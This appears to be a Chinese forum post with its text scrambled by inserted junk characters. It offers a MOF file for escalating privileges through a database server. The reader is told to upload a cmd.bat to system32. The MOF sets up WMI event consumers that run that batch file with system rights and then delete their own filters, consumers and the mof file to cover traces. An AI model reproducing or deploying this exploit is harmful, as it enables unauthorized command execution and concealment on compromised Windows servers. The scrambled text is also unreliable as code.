这个sql提权MOF需要运行 system下的文件,不能定义路径。, A" A/ |8 c+ E( K' S% a" ?3 s
需要将要运行的命令写入到bat上传到system32目录,然后执行。
8 I7 T( s0 |7 H. E) C2 H1 w7 e- \ Z1 R
这个sql提权MOF需要运行 system下的文件,不能定义路径。- O& B9 T. x" Q5 \/ z/ X
需要将要运行的命令写入到bat上传到system32目录,然后执行。
+ x' a- C3 V0 S8 `' ~" J# O% U$ b9 v! L- t4 f/ ~
#pragma \9 b3 f3 w0 f3 y. e8 a6 e
namespace("\\\\.\\root\\cimv2")" o# K- O7 u/ P( D- r- o
class' Q+ D' l- ]" ~* [: _
MyClass547
$ }8 s0 Y/ u" E/ ?& `* w { [key]: K( K7 ~7 E m7 P
string
0 J. L9 l) b \& z6 I/ g Name;
5 ]3 B6 r0 E; ^ };) g: G* q$ ]' e0 z7 q! z5 R( L% g
class
2 E9 W( J) e- A( E7 j& B. E j2 ] ActiveScriptEventConsumer% V$ @, V& t, W3 b) s3 O& }
: __EventConsumer { [key]5 Z( ]+ e( u. [. T
string
/ R, l# U3 ?* R Name; [not_null], o! \- U$ R( a6 `( _" C% \* m
string
( ?6 }8 c! o9 \0 d7 U$ g ScriptingEngine; string5 s3 W$ d3 Y9 n7 Q r+ x
ScriptFileName; [template]
! r" Q4 i" x# f6 i% f$ U! G string
8 r4 v$ w5 O$ [: [7 Z. }/ ? ScriptText; uint32 KillTimeout;; U/ p ?) P9 k* L- |5 }+ W d
}; instance of __Win32Provider as $P {
1 w" z# }* `8 x Name$ D+ q3 [: e7 t9 L
=2 [0 E- D6 Q) x2 \+ w& Z
"ActiveScriptEventConsumer"; CLSID =6 b+ R: G7 p9 C. R
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";8 C* Z) ~. h: Y, M
PerUserInitialization" [% E, R& ~/ c9 |: v# \
= TRUE;3 {0 \# w2 V4 q0 M1 d5 I/ [ F
}; instance of __EventConsumerProviderRegistration { Provider
1 H* T& N$ V6 V0 x" ^- w = $P; ConsumerClassNames
6 [( I- I4 I, P$ ]3 p! F; I =
# |+ j- L( F' C9 [5 O% v {"ActiveScriptEventConsumer"};- C4 |+ U v5 B# T% i) D" e n
};% F/ E A! L/ j1 j
Instance of ActiveScriptEventConsumer
, @" b8 K! \7 Z! V+ E! \ as $cons { Name) k- Y( m; g+ Y: e7 ], E+ |0 v
=
4 ]- ?7 ^+ l% `3 Q "ASEC"; ScriptingEngine
! w# y! U# w8 m4 w) B =4 P8 H$ v' H2 z9 a3 m* D# e7 ?) r3 S
"JScript"; ScriptText( f5 @2 {9 w- ^' q3 ?% j
=) \# U# l) T: x7 P l- H
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };- L$ E+ s! U& x: _$ K9 [; [- f# f; Q
Instance of ActiveScriptEventConsumer
T+ [8 O6 O* q as $cons2 { Name
) c) Y: W6 G5 J$ U% u7 N$ v =- `/ I$ R; E7 X$ V
"qndASEC"; ScriptingEngine; y" Z1 I {% g6 {* c- C, F: w
=5 l9 r* [6 T& a& Y$ D- _; p- r5 o
"JScript"; ScriptText
- i5 i( g6 x D2 z( X =
9 Q/ m0 x5 D* k "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
% d2 ~+ I i' E$ ^+ x0 `+ s8 @ }; instance of __EventFilter as $Filt { Name5 N9 Q# B4 G) i( P- ?
=- B4 D) x/ c$ [' S; V/ X W
"instfilt"; Query
3 n: g5 f! c2 t- y" [ =
( c6 P+ ^3 e7 _7 |1 G& C "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage( \: p, c* t5 I
=
1 t# k7 ^/ A7 m& H0 P "WQL"; }; instance of __EventFilter as $Filt2 { Name
1 I. V }, `/ T =
/ x2 p& k7 f0 a "qndfilt"; Query0 S" k- L8 A3 |% M Z, D9 f, y
=
0 c. o5 `4 W. X/ p- |; z6 `- J' K "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage' O( g. C- p [7 x) w5 V
=
7 H: }2 }: z" B( ]3 A "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
# f/ [5 {) c7 D; ] = $cons; Filter$ z/ R& f# @! T& ^# l. g1 M
= $Filt;
* E9 F. e2 S6 O* V: }2 C6 V1 v }; instance of __FilterToConsumerBinding as $bind2 { Consumer
" x: t! V& _) D. Y3 Q* P8 d = $cons2; Filter& B0 u9 `2 ?; S2 y0 z) o
= $Filt2;
/ U2 M' {; v- g& _, v }; instance of MyClass547' B3 q: d; p$ C" Y
as $MyClass { Name( ?- N2 H9 o! F q/ j
=& f5 O6 y$ l d+ A" O! q
"ClassConsumer";! X6 S: E1 i3 [# \3 S$ f8 \
}; |